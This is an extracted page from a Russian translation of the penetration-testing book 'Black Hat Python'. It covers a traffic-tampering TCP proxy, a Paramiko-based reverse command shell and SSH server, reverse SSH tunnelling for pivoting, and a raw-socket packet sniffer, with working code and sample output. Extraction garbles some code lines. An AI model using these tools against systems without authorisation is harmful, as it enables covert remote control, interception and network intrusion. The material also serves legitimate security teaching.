Главная страница

Установка Kali Linux


Скачать 2.4 Mb.
НазваниеУстановка Kali Linux
АнкорBlack
Дата15.03.2022
Размер2.4 Mb.
Формат файлаpdf
Имя файлаBlack_Hat_Python_RUS.pdf
ТипДокументы
#398533
страница2 из 13
1   2   3   4   5   6   7   8   9   ...   13

302 Moved


The document has moved here.

Создаем TCP прокси
Можно назвать ряд причин, по которым нужно иметь TCP прокси. Он нужен и для передачи трафика от хоста к хосту, а также для оценки сетевого ПО. Проводя тесты на проникновение в корпоративной среде, вы, как правило, сталкиваетесь с тем, что не можете запускать
Wireshark, не можете загружать драйверы для перехвата на Windows или сегментация сети не дает вам возможность запускать свои инструменты напрямую. В самых разных ситуациях, я применяю простой прокси, который помогает понять неизвестные протоколы, модифицировать трафик, поступающий в приложение и создавать тестовый сценарий для фаззеров. import sys import socket import threading def server_loop(local_host,local_port,remote_host,remote_port,receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind((local_host,local_port))
except:
print "[!!] Failed to listen on %s:%d" % (local_host,local_
port)
print "[!!] Check for other listening sockets or correct permissions."
sys.exit(0)
print "[*] Listening on %s:%d" % (local_host,local_port)
server.listen(5)
while True:
client_socket, addr = server.accept()
# print out the local connection information print "[==>] Received incoming connection from %s:%d" %
(addr[0],addr[1])
# start a thread to talk to the remote host proxy_thread = threading.Thread(target=proxy_handler,
args=(client_socket,remote_host,remote_port,receive_first))
proxy_thread.start()
def main():
# no fancy command­line parsing here if len(sys.argv[1:]) != 5:
print "Usage: ./proxy.py [localhost] [localport] [remotehost]
[remoteport] [receive_first]"
print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0)
# setup local listening parameters local_host = sys.argv[1]
local_port = int(sys.argv[2])

# setup remote target remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
# this tells our proxy to connect and receive data
# before sending to the remote host receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True else:
receive_first = False
# now spin up our listening socket server_loop(local_host,local_port,remote_host,remote_port,receive_first)
main()
Большая часть этого должна быть вам уже знакома: мы берем какие-либо аргументы командной строки и запускаем цикл сервера, который слушает соединения. Когда приходит новый запрос на соединение, мы передаем его нашему proxy_handler
, который сам делает все настройки и получает биты для потока данных.
Давайте подробнее разберем функцию proxy_handler
, добавив код выше нашей основной функции.
def proxy_handler(client_socket, remote_host, remote_port, receive_first):
# connect to the remote host remote_socket = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))
# receive data from the remote end if necessary if receive_first:

remote_buffer = receive_from(remote_socket)

hexdump(remote_buffer)

# send it to our response handler

remote_buffer = response_handler(remote_buffer)
# if we have data to send to our local client, send it if len(remote_buffer):
print "[<==] Sending %d bytes to localhost." %
len(remote_buffer)
client_socket.send(remote_buffer)
# now lets loop and read from local,
# send to remote, send to local
# rinse, wash, repeat while True:
# read from local host local_buffer = receive_from(client_socket)
if len(local_buffer):
print "[==>] Received %d bytes from localhost." % len(local_
buffer)
hexdump(local_buffer)
# send it to our request handler local_buffer = request_handler(local_buffer)
# send off the data to the remote host remote_socket.send(local_buffer)
print "[==>] Sent to remote."

# receive back the response remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print "[<==] Received %d bytes from remote." % len(remote_buffer)
hexdump(remote_buffer)
# send to our response handler remote_buffer = response_handler(remote_buffer)
# send the response to the local socket client_socket.send(remote_buffer)
print "[<==] Sent to localhost."
# if no more data on either side, close the connections

if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print "[*] No more data. Closing connections."
break
Эта функция содержит логику для работы нашего прокси. Для начала, мы должны убедиться,
что нам не нужно сначала инициировать соединение с удаленной стороной и запрашивать данные, прежде чем мы перейдем к нашему главному циклу . Демоны некоторых серверов

ожидают, что вы станете инициатором (например, FTP-сервера обычно сначала отправляют баннер). Затем мы используем нашу функцию receive_from
, которую мы будем повторно

использовать для обеих сторон коммуникации; она обычно выбирает объект сокета и выполняет recieve. Затем мы дампируем содержимое пакета, чтобы можно было найти в

нем что-то интересное. Далее мы передаем выходные данные нашей функции response_handler
. В этой функции, вы можете модифицировать содержимое пакета,

проводить фаззинг, тестировать аутентификацию и делать все, что вашей душе угодно. Есть еще дополнительная функция request_handler,
которая выполняет все то же самое для модификации исходящего трафика. Последний шаг — отправка полученного буфера локальному клиенту. С оставшимся кодом прокси все предельно ясно: мы считываем из локального клиента, обрабатываем, отправляем на удаленную сторону, считываем с удаленной стороны, обрабатываем и отправляем локальному клиенту и так до тех пор, пока не закончатся данные .

Объединим оставшиеся функции, чтобы завершить наш прокси.
# this is a pretty hex dumping function directly taken from
# the comments here:
# http://code.activestate.com/recipes/142812­hex­dumper/
def hexdump(src, length=16):

result = []
digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
s = src[i:i+length]
hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append( b"%04X %­*s %s" % (i, length*(digits + 1), hexa,
text) print b'\n'.join(result)
def receive_from(connection):

buffer = ""

# We set a 2 second timeout; depending on your
# target, this may need to be adjusted connection.settimeout(2)
try:
# keep reading into the buffer until
# there's no more data
# or we time out while True:
data = connection.recv(4096)
if not data:
break buffer += data except:
pass return buffer
# modify any requests destined for the remote host def request_handler(buffer):

# perform packet modifications return buffer
# modify any responses destined for the local host

def response_handler(buffer):
# perform packet modifications return buffer
Это последняя часть кода для завершения нашего прокси. Сначала мы создаем функцию шестнадцатеричного дампа , которая просто будет выводить детали пакета с

шестнадцатеричными значениями и ASCII-символами. Это полезно для понимания неизвестных протоколов, поиска учетных данных пользователя в простом тексте протокола и многого другого. Функция receive_from используется для получения локальных и

удаленных данных, которые мы передаем объекту сокета. По умолчанию, время ожидания составляет две секунды и это может иметь довольно агрессивный характер, если вы отправляете трафик по прокси в другие страны или используете сеть с потерями (при необходимости увеличьте время ожидания). Оставшаяся часть функции просто работает с полученными данными, пока на другом конце соединения не будут обнаружены еще данные.
Две последние функции и позволяют вам модифицировать любой трафик, который
➌ ➍
направлен в любой конец прокси. Эти функции могут оказаться полезными, если, например, отправляются учетные данные пользователя и вы хотите попробовать получить привилегии приложения, изменив justin на admin
. Теперь, когда мы настроили наш прокси, давайте проверим его в деле.

Проверка на деле
Теперь, когда у нас есть главный цикл прокси и поддерживающие функции, давайте проверим все это на FTP сервере. Запускаем прокси: justin$ sudo ./proxy.py 127.0.0.1 21 ftp.target.ca 21 True
Мы здесь использовали sudo, потому что порт 21 является привилегированным портом и требует прав администратора или запуска из под root, для того чтобы его можно было прослушивать. Теперь выбираем свой любимый FTP клиент, а локальный компьютер и пор 21
станут удаленным хостом и портом, соответственно. Когда я запускаю прокси на FTP- сервере, то получаю следующий результат:
[*] Listening on 127.0.0.1:21
[==>] Received incoming connection from 127.0.0.1:59218 0000 32 32 30 20 50 72 6F 46 54 50 44 20 31 2E 33 2E 220 ProFTPD 1.3.
0010 33 61 20 53 65 72 76 65 72 20 28 44 65 62 69 61 3a Server (Debia
0020 6E 29 20 5B 3A 3A 66 66 66 66 3A 35 30 2E 35 37 n) [::ffff:22.22 0030 2E 31 36 38 2E 39 33 5D 0D 0A . 22.22]..
[<==] Sending 58 bytes to localhost.
[==>] Received 12 bytes from localhost
0000 55 53 45 52 20 74 65 73 74 79 0D 0A USER testy..
[==>] Sent to remote.
[<==] Received 33 bytes from remote.
0000 33 33 31 20 50 61 73 73 77 6F 72 64 20 72 65 71 331 Password req
0010 75 69 72 65 64 20 66 6F 72 20 74 65 73 74 79 0D uired for testy.
0020 0A
[<==] Sent to localhost.
[==>] Received 13 bytes from localhost.
0000 50 41 53 53 20 74 65 73 74 65 72 0D 0A PASS tester..
[==>] Sent to remote.
[*] No more data. Closing connections.
Вы видите, что мы успешно можем получить FTP баннер и можем отправить имя пользователя и пароль и, что он пропадает, если мы вводим некорректные учетные данные.

SSH при помощи Paramiko
Не спорю, сетевое программирование BNNET (Black Hat Networking) удобно, но иногда есть смысл шифровать трафик, чтобы избежать обнаружения. Распространенный способ — это прогон трафика через сетевой протокол SSH («безопасная оболочка»). Но, что делать, если на целевой машине нет SSH-клиента (что так и будет с вероятностью 99.81943% на Windows).
Хотя для Windows есть доступные SSH-клиенты, например Putty, но вы то читаете книгу по
Python. В Python можно использовать сырые сокеты и немного магии шаифрования, чтобы создать свой SSH-клиент или сервер. Однако, зачем создавать, если можно повторно использовать то, что уже есть? Paramiko, используя PyCrypto, дает вам простой доступ к протоколу SSH2.
Для того чтобы подробнее узнать, как работает эта библиотека, мы будем использовать
Paramiko, чтобы установить соединение и запустить команду на SSH-системе, сконфигурируем SSH-сервер и SSH-клиент, чтобы запустить удаленные команды на машине с Windows. Наконец, разберемся с обратным туннелем демо файла, который идет вместе с
Paramiko, чтобы сделать дубликат прокси опции BHNET. Давайте начнем.
При помощи системы управления пакетами pip устанавливаем Paramiko (или скачиваем по ссылке http://www.paramiko.org/
): pip install paramiko
Мы будем использовать некоторые демонстрационные файлы позже, поэтому тоже скачайте их с сайта Paramiko.
Создаем новый файл bh_sshcmd.py и вводим следующую команду: import threading import paramiko import subprocess def ssh_command(ip, user, passwd, command):

client = paramiko.SSHClient()
#client.load_host_keys('/home/justin/.ssh/known_hosts')

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)

print ssh_session.recv(1024)
return ssh_command('192.168.100.131', 'justin', 'lovesthepython','id')
Это довольно понятная программа. Мы создаем функцию ssh_command
, которая

устанавливает соединение с SSH-сервером и запускает единственную команду. Обратите внимание, что Paramiko проверяет аутентификацию за счет ключей , вместо или в

дополнение к паролю. Настоятельно рекомендую использовать SSH ключ для аутентификации при работе в реальных условиях, но для облегчения задачи в этом примере мы будет придерживаться традиционной аутентификации по имени пользователя и паролю.
Так как мы контролируем оба конца соединения, то мы устанавливаем политику приема SSH ключа для SSH-сервера, к которому мы соединяемся и устанавливаем соединение.

Наконец, предположив, что соединение установлено, мы запускаем команду, которую мы
передали по вызову функции ssh_command,
в нашем примере это command id .

Теперь давайте попробуем соединиться с сервером Linux:
C:\tmp> python bh_sshcmd.py
Uid=1000(justin) gid=1001(justin) groups=1001(justin)
Вы увидите, что произошло соединение и затем запустилась команда. Вы без проблем можете модифицировать это скрипт, чтобы запустить
запустить несколько команд на SSH-сервере или запустить команды на нескольких SSH- серверах.
Итак, мы сделали все самое основное, теперь мы можем модифицировать наш скрипт, чтобы иметь возможность запускать команды на клиенте Windows. Понятно, что, используя SSH, вы будете использовать SSH-клиент для соединения с SSH-сервером. Однако, так как Windows не имеет встроенный SSH-сервер, то там нужно внести изменения и отправить команды из нашего SSH-сервера SSH-клиенту.
Создаем новый файл bh_sshRcmd.py и вводим следующее: [6]
importimportimportthreading paramiko subprocess def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
#client.load_host_keys('/home/justin/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print ssh_session.recv(1024)#read banner while True:
command = ssh_session.recv(1024) #get the command from the SSH
server try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception,e:
ssh_session.send(str(e))
client.close()
return ssh_command('192.168.100.130', 'justin', 'lovesthepython','ClientConnected')
Первые несколько строк похожи на нашу последнюю программу, а все новое начинается после строки while True: loop. Также, обратите внимание, что первая команда, которую мы отправляем — это ClientConnected. Вы поймете, почему, когда мы создадим другой конце соединения SSH.
Создаем новый файл bh_sshserver.py и вводим следующее: import socket import paramiko import threading import sys
# using the key from the Paramiko demo files host_key = paramiko.RSAKey(filename='test_rsa.key')

class Server (paramiko.ServerInterface):

def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'justin') and (password == 'lovesthepython'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print '[+] Listening for connection …'
client, addr = sock.accept()
except Exception, e:
print '[­] Listen failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection!'
try:

bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[­] SSH negotiation failed.'
chan = bhSession.accept(20)
print '[+] Authenticated!'

print chan.recv(1024)
chan.send('Welcome to bh_ssh')
while True:

try:
command= raw_input("Enter command: ").strip('\n')
if command != 'exit':
chan.send(command)
print chan.recv(1024) + '\n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception ('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[­] Caught exception: ' + str(e)
try:
bhSession.close()
except:
pass sys.exit(1)
Эта программа создает SSH-сервер, с которым соединяется наш SSH-клиент (где мы ходим запускать команды). Это может быть Linux, Windows или даже OS X.
В этом примере мы использовали SSH ключ, который находился в демонстрационных файлах
Paramiko . Мы запустили сокет прослушивателя , как мы делали это чуть ранее в этой же


главе и затем запустили SSH и сконфигурировали методы аутентификации . Когда


клиент был аутентифицирован , и мы получили сообщение

ClientConnected
, то

любая команда, которую мы вводили в bh_sshserver, отправлялась в bh_sshclient и исполнялась в bh_sshclient, а исходящие данные возвращались на bh_sshserver. Пора испробовать это на практике.

Проверка на деле
Для примера, я запускаю и сервер, и клиент на моей машине Windows (см. Рис. 2-1).
Рис. 2-1. Используем SSH для запуска команд.
Вы видите, что процесс начинается с настройки SSH-сервера , затем происходит

соединение от клиента . Клиент успешен соединен и мы запускаем команду . Мы



ничего не видим в SSH-клиенте, но в клиенте выполняется команда, которую мы отправляем
. Выходные данные отправляются на наш SSH-сервер .



SSH туннелирование
SSH туннелирование — отличная вещь, но ее бывает не легко понять и сконфигурировать, особенно, если вы имеете дело с обратным SHH-туннелем.
Не забывайте, что наша цель — это запуск команд, которые мы задаем в SSH-клиенте на удаленном SSH-сервере. Использование SSH-туннеля, вместо вбивания команд, которые отправляются на сервер, сетевой трафик отправляется в виде пакетов внутри SSH, а затем уже распакованный доставляется SSH-серверу.
Представьте себе следующую ситуацию: у вас есть удаленный доступ к SSH-серверу на внутренней сети, но вам нужен доступ к веб-серверу на этой же сети. Вы не можете получить доступ к веб-серверу напрямую, но сервер с установленным SSH имеет такой доступ и SSH- сервер не имеет таких инструментов, которые вы могли бы использовать.
Одно из решений этой проблемы — настройка прямого SSH-туннеля. Не вдаваясь в подробности, запускаем команду ssh­L 8008:web:80 justin@sshserver и соединяемся с SSH-сервером от имени пользователя justin и настраиваем порт 8008 на вашей локальной системе. Все, что будет отправляться на порт 8008, будет проходить через существующий SSH-туннель и попадать на SSH-сервер, а затем доставляться на веб-сервер.
На Рис. 2-2 вы можете наглядно увидеть, как это происходит.
Рис. 2-2. SSH туннелирование
Все это, конечно, здорово, но не забывайте, что не многие системы Windows имееют встроенную поддержку SSH-сервера. Однако, не все потеряно. Мы можем сконфигурировать соединение по SSH по обратному туннелю. В этом случае, мы соединяемся с нашим SSH- сервером из клиента Windows обычным способом. Через это SSH-соединение мы также установим удаленный порт на SSH-сервере, который будет направлен по туннелю к локальному хосту и порту (как показано на Рис. 2-3). Этот локальный хост и порт можно использовать, например, для того, чтобы у порта 3389 появился доступ к внутренней системе через удаленный компьютер или доступ к любой системе, к которой клиент Windows может получить доступ (в нашем примере, это веб-сервер).

Рис. 2-3. Обратное
SSH туннелирование
Демонстрационные файлы Paramiko включают в себя файл rforward.py, который именно этим и занимается. Он отлично работает сам по себе, поэтому я не буду его перепечатывать сюда, но я отмечу несколько важных моментов и приведу пример того, как его можно использовать.
Открываем rforward.py, прокручиваем вниз и ищем main().
Далее выполняем следующее.
def main():
options, server, remote = parse_options()

password = None if options.readpass:
password = getpass.getpass('Enter SSH password: ')
client = paramiko.SSHClient()

client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
try:
client.connect(server[0], server[1], username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys, password=password)
except Exception as e:
print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
sys.exit(1)
verbose('Now forwarding remote port %d to %s:%d ...' % (options.port,
remote[0], remote[1]))
try:

reverse_forward_tunnel(options.port, remote[0], remote[1],
client.get_transport())
except KeyboardInterrupt:
print('C­c: Port forwarding stopped.')
sys.exit(0)
Несколько строк вверху нужны для повторной проверки, чтобы убедиться, что все

необходимые аргументы переданы скрипту, до того как мы приступим к настройке соединения SSH-клиента при помощи Paramiko (это должно быть вам хорошо знакомо).

Последняя часть в main()
вызывает функцию reverse_forward_tunnel

Давайте посмотрим на эту функцию. def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
transport.request_port_forward('', server_port)

while True:
chan = transport.accept(1000)

if chan is None:
continue
thr = threading.Thread(target=handler, args=(chan, remote_host, .

remote_port))
thr.setDaemon(True)
thr.start()
В Paramiko есть два главных метода коммуникации: transport
, который отвечает за создание и поддержание зашифрованного соединения и channel
, который выступает, как сокет для отправки и получения данных в зашифрованной сессии транспорта. Здесь мы начинаем использовать request_port_forward, чтобы направить TCP соединения от порта на SSH-сервер и запустить новый канал передачи . Затем мы вызываем функцию


handler .

На этом мы еще не закончили. def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
return verbose('Connected! Tunnel open %r ­> %r ­> %r' % (chan.origin_addr, .
chan.getpeername(), .
(host, port)))
while True:

r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break sock.send(data)
chan.close()
sock.close()
verbose('Tunnel closed from %r' % (chan.origin_addr,))
Наконец, данные отправлены и получены .

Давайте попробуем.

Проверка на деле
Из Windows мы запускаем rforward.py и конфигурируем эту функцию, чтобы она выступала посредником, когда мы будем проводить трафик по туннелю из веб-сервера на Kali SSH- сервер.
C:\tmp\demos>rforward.py 192.168.100.133 ­p 8080 ­r 192.168.100.128:80
­­user justin ­­password
Enter SSH password:
Connecting to ssh host 192.168.100.133:22 ...
C:\Python27\lib\site­packages\paramiko\client.py:517: UserWarning: Unknown ssh­r sa host key for 192.168.100.133: cb28bb4e3ec68e2af4847a427f08aa8b
(key.get_name(), hostname, hexlify(key.get_fingerprint())))
Now forwarding remote port 8080 to 192.168.100.128:80 ...
Вы видите, что на машине Windows я установил соединение с SHH-сервером на
192.168.100.133 и открыл порт 8080 на этом сервере, который направит трафик на
192.168.100.128 порт 80. Теперь, если я задам поиск http://127.0.0.1:8080 на сервере Linux, то я соединюсь с веб-сервером на 192.168.100.128 через SSH-туннель, как показано на Рисунке
2-4.
Рис. 2-4. Пример обратного SSH-туннеля.
Если мы снова вернемся к машине Windows, то мы сможем также увидеть, что соединение установлено и в Paramiko:
Connected! Tunnel open (u'127.0.0.1', 54537) ­> ('192.168.100.133', 22) ­>
('192.168.100.128', 80)
SSH и SSH туннелирование — это важные процессы, которые нужно понимать и уметь их выполнять. Это очень важный навык для всех, кто работает с Black Hat, а Paramiko позволяет добавлять SSH возможности к вашим существующим инструментам Python.
В этой главе, мы с вами создали очень простые, но полезные инструменты. Я рекомендую вам расширять и модифицировать их при необходимости. Главная цель — выработать у себя умение сетевого программирования на Python для создания инструментов, которые понадобятся для проведения тестирований на проникновение, проведения действий после эксплуатации уязвимостей или в процессе обнаружения багов. Мы продолжим работать с сырыми сокетами и анализировать сетевой трафик. Затем мы объединим оба действия, чтобы создать чистый сканер Python для обнаружения хоста.
[5] Всю документацию по сокету можно найти по ссылке http://docs.python.org/2/library/socket.html
[6] Это обсуждение основано на работе Хуссама Краиса (Hussam Khrais), которую можно найти по ссылке http://resources.infosecinstitute.com/.

Глава 3. Сеть: сырые сокеты и анализ сетевого трафика
Снифферы сети позволяют вам увидеть пакеты, которые принимает и отдает целевая машина.
Следовательно, снифферы можно использовать в разных целях до и после эксплуатации уязвимостей. В некоторых случаях, вы сможете использовать Wireshark (
http://wireshark.org/
) для отслеживания трафика или прибегнуть к помощи решения Python, например Scapy (о нем речь пойдет в следующей главе). В любом случае, не будет лишним знать, как запускать сниффер, чтобы просматривать и расшифровывать сетевой трафик. При написании такого инструмента, вы также, возможно, научитесь новым техникам на языке Python и поймете, что происходит на низком уровне сети.
В предыдущей главе, мы затронули вопрос, как отправлять и получать данные через TCP и
UDP и, вероятно, именно так вы будете в дальнейшем взаимодействовать с большинством сервисов сети. Но помимо этих протоколов высокого уровня есть еще и фундаментальные блоки, от которых зависит, как происходит отправка и получение пакетов. Вы будете использовать сырые сокеты, чтобы получить доступ к сетевой информации низкого уровня, такие как сырые IP и ICMP заголовки. В нашем случае, нас интересует только IP и все, что выше, поэтому мы не будем заниматься расшифровкой информации Ethernet.
Конечно, если вы планируете атаки низкого уровня, такие как отравление ARP или вы разрабатываете беспроводные инструменты оценки, то вам нужно будет очень тесно познакомиться с Ethernet фреймами и их использованием.
Давайте начнем с краткого экскурса, как обнаружить активные хосты в сегменте сети.

Создаем инструмент обнаружения UDP хоста
Главная задача нашего сниффера — выполнить обнаружение хоста на базе UDP в целевой сети. Взломщики должны видеть все потенциальные цели в сети, чтобы они могли сконцентрировать свои усилия на разведке и эксплуатации уязвимостей.
Мы будем использовать известное поведение операционных систем, когда будем работать с закрытыми UDP портами для определения, есть ли активный хост на конкретном IP-адресе.
Когда вы отправляете датаграмму на закрытый порт хоста, то это хост обычно отправояет обратно ICMP сообщение, указывающее на то, что порт недоступен. Это ICMP сообщение говорит, что есть живой хост, потому что мы бы предположили, что хоста нет, если бы не получили ответ в UDP датаграмме. Важно выбрать UDP порт, который будет использоваться с небольшой долей вероятности и для максимального охвата мы можем попробовать несколько портов, чтобы убедиться, что мы не попадаем в активный сервис UDP.
Почему именно UDP? Здесь нет перегрузки при распространении сообщения по всей подсети и, соответственно, сокращается время ожидания ICMP ответов. Это довольно простой сканер, который можно создать, при этом большая часть работы будет заключаться в расшифровке и анализе различных заголовков сетевых протоколов. Мы внедрим этот сканер хостов как в Windows, так и Linux, чтобы максимально увеличить вероятность того, что мы сможем использовать его в корпоративной среде.
Мы также могли бы встроить дополнительную логику в наш сканер, чтобы видеть полные сканы портов Nmap на любых хостах, которые мы обнаружим для определения жизнеспособности поверхности атаки. Итак, давайте приступим.

Пакетный сниффер на Windows и Linux
Получение доступа к сырым сокетам в Windows немного отличается от этого процесса в
Linux, но нам нужна гибкость сниффера, чтобы его можно было применять на разных палтформах. Мы создадим объект сокета и затем определим, какую платформу мы запускаем.
Windows требует, чтобы мы установили несколько дополнительных флагов в сокетах вводы/вывода (IOCTL), [7] что способствует активации режима приема всех сетевых пакетов
(неизбирательный режим) в интерфейсе сети. В нашем первом примере, мы просто устанавливаем сниффер сырого сокета, считываем один пакет и выходим. import socket import os
# host to listen on host = "192.168.0.196"
# create a raw socket and bind it to the public interface if os.name == "nt":
socket_protocol = socket.IPPROTO_IP

else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# we want the IP headers included in the capture sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# if we're using Windows, we need to send an IOCTL
# to set up promiscuous mode if os.name == "nt":

sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
# read in a single packet print sniffer.recvfrom(65565)

# if we're using Windows, turn off promiscuous mode if os.name == "nt":

sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
Мы начинаем с создания объекта сокета с параметрами необходимыми для пакетного сниффера . Разница между Windows и Linux заключается в том, что Windows позволяет

анализировать все входящие сетевые пакеты, несмотря на протокол. Linux вынуждает нас конкретизировать, что мы собираемся анализировать ICMP. Обратите внимание, что мы работаем в неизбирательном режиме, который требует наличия прав администратора в
Windows и работы под пользователем root в Linux. Неизбирательный режим дает нам возможность анализировать все пакеты, которые видит сетевая карта и даже те, которые не предназначены для вашего конкретного хоста. Далее мы задаем опцию сокета , которая

включает в себя IP заголовки в захваченных пакетах. Следующий шаг — определить, что

мы используем. Если это Windows, то мы делаем дополнительный шаг и отправляем IOCTL драйверу сетевой карты, чтобы активировать неизбирательный режим. Если Windows запущена на виртуальной машине, то, скорее всего, вы получите уведомление, что гостевая операционная система включила неизбирательный режим. И вы, конечно, должны дать разрешение. Все, теперь мы готовы непосредственно к анализу сети. В этом случае, мы просто распечатываем весь сырой пакет без расшифровки. Это необходимо для

тестирования, нам нужно убедиться, что наш код работает. После анализа одного пакета, мы снова проводим тестирование для Windows и отключаем неизбирательный режим, прежде, чем выйти из скрипта.

Проверка на деле
Открываем новый терминал или cmd.exe под Windows и запускаем: python sniffer.py
В другом терминале или оболочке Windows вы можете просто выбрать хост для пинга. В данном случае, мы пингуем nostarch.com:
ping nostarch.com
В первом окне, где вы запустили свой сниффер, вы должны увидеть искаженные входящие данные, которые очень сильно напоминают следующее:
('E\x00\x00:\x0f\x98\x00\x00\x80\x11\xa9\x0e\xc0\xa8\x00\xbb\xc0\xa8\x0 0\x01\x04\x01\x005\x00&\xd6d\n\xde\x01\x00\x00\x01\x00\x00\x00\x00\x00\
x00\x08n ostarch
\x03com\x00\x00\x01\x00\x01', ('192.168.0.187', 0))
Вы видите, что мы захватили начальный ICMP запрос, предназначенный для nostarch.com (в зависимости от внешнего вида строки nostarch.com
)
. Если вы запустите то же самое на
Linux, вы получите ответ от nostarch.com. Анализ одного пакета не приносит большой пользы, поэтому давайте добавим еще немного функциональности и обработаем больше пакетов и расшифруем их содержимое.

Расшифровка IP слоя
В своей текущей форме, наш сниффер получает все IP заголовки вместе с любыми протоколами более высокого уровня, такими как TCP, UDP и ICMP. Информация упаковывается в бинарную форму и, как показано выше, ее довольно трудно понять. Сейчас мы будем работать с расшифровкой IP части пакета, для того чтобы мы смогли получить полезную информацию, такую как тип протокола (TCP, UDP, ICMP) и источник и IP-адрес источника и назначения. Это будет основанием для того, чтобы в дальнейшем начать проводить парсинг протокола.
Если мы изучим, как выглядит пакет в сети, то мы поймем, как нам нужно расшифровывать входящие пакеты. Посмотрите на Рис. 3-1, чтобы увидеть структуру IP-заголовка.
Рис. 3-1. Типичная структура заголовка IPv4
Мы раскодируем весь IP-заголовок (кроме поля Опции) и узнаем тип протокола, IP-адрес источника и назначения. Используя модуль Python ctypes для создания структуры как в языке С, мы сможем получить дружелюбный формат для работы с IP-заголовком и членами полей. Во-первых, давайте посмотрим, как выглядит IP-заголовок.
struct ip {
u_char ip_hl:4;
u_char ip_v:4;
u_char ip_tos;
u_short ip_len;
u_short ip_id;
u_short ip_off;
u_char ip_ttl;
u_char ip_p;
u_short ip_sum;
u_long ip_src;
u_long ip_dst;
}
Теперь у вас есть представление, как преобразовывать тип данных С в значения IP-заголовка.
Полезно использовать коды С в качестве контрольных при переводе на объекты в Python, потому что это позволяет без проблем конвертировать эти коды исключительно в Python.
Отмечу, что поля ip_hl и ip_v имеют битовую нотацию (:4). Это означает, что это битовые поля шириной в 4 бита. Мы будем использовать исключительно питоновское решение, чтобы убедиться, что эти поля были правильно преобразованы. Это поможет нам избежать любых манипуляций с битами. Давайте внедрим нашу расшифровку IP в sniffer_ip_header_decode.py, как показано ниже.
import socket import os import struct from ctypes import *
# host to listen on host = "192.168.0.187"
# our IP header class IP(Structure):

_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# map protocol constants to their names self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
# human readable IP addresses

self.src_address = socket.inet_ntoa(struct.pack(" self.dst_address = socket.inet_ntoa(struct.pack("# human readable protocol try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
# this should look familiar from the previous example if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# read in a packet

raw_buffer = sniffer.recvfrom(65565)[0]
# create an IP header from the first 20 bytes of the buffer

ip_header = IP(raw_buffer[0:20])

# print out the protocol that was detected and the hosts

print "Protocol: %s %s ­> %s" % (ip_header.protocol, ip_header.src_
address, ip_header.dst_address)
# handle CTRL­C
except KeyboardInterrupt:

# if we're using Windows, turn off promiscuous mode if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
Первый шаг — это определение Python структуры ctypes , которая преобразует первые 20

